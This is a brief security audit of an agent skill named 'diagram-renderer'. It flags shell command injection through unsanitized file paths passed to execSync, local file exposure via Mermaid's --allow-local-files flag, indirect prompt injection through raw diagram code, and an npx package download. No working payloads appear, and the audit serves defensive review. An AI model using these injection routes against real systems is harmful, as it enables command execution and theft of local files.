The Agent Skills Directory

[COMMAND_EXECUTION]: The skill executes shell commands using execSync in src/index.ts and src/lib.ts. The variables mmdPath and outputPath are interpolated directly into the command string. Since these paths are derived from user-controlled arguments (--input, --out), an attacker can inject arbitrary shell commands by including metacharacters (e.g., ;, &, |) in the filenames.
[DATA_EXFILTRATION]: In src/lib.ts, the renderDiagram function uses the --allow-local-files flag with the Mermaid CLI. This allows the renderer to access the local filesystem. Because the skill accepts raw diagram code through the elements.diagram field, a malicious actor could provide a diagram that references sensitive local files (e.g., using CSS or image tags), leading to their exposure in the rendered output.
[PROMPT_INJECTION]: The skill is vulnerable to indirect prompt injection because it accepts raw Mermaid diagram code in the elements.diagram field without sanitization.
Ingestion points: The input JSON file processed in src/index.ts and src/lib.ts via the ADF interface.
Boundary markers: No markers or delimiters are used to encapsulate user-provided diagram content.
Capability inventory: Use of execSync for shell execution and file system access for reading/writing artifacts.
Sanitization: No sanitization or filtering is applied to the diagram content or the command-line arguments.
[EXTERNAL_DOWNLOADS]: The skill downloads the official @mermaid-js/mermaid-cli package from the NPM registry using the npx -y command during execution.

diagram-renderer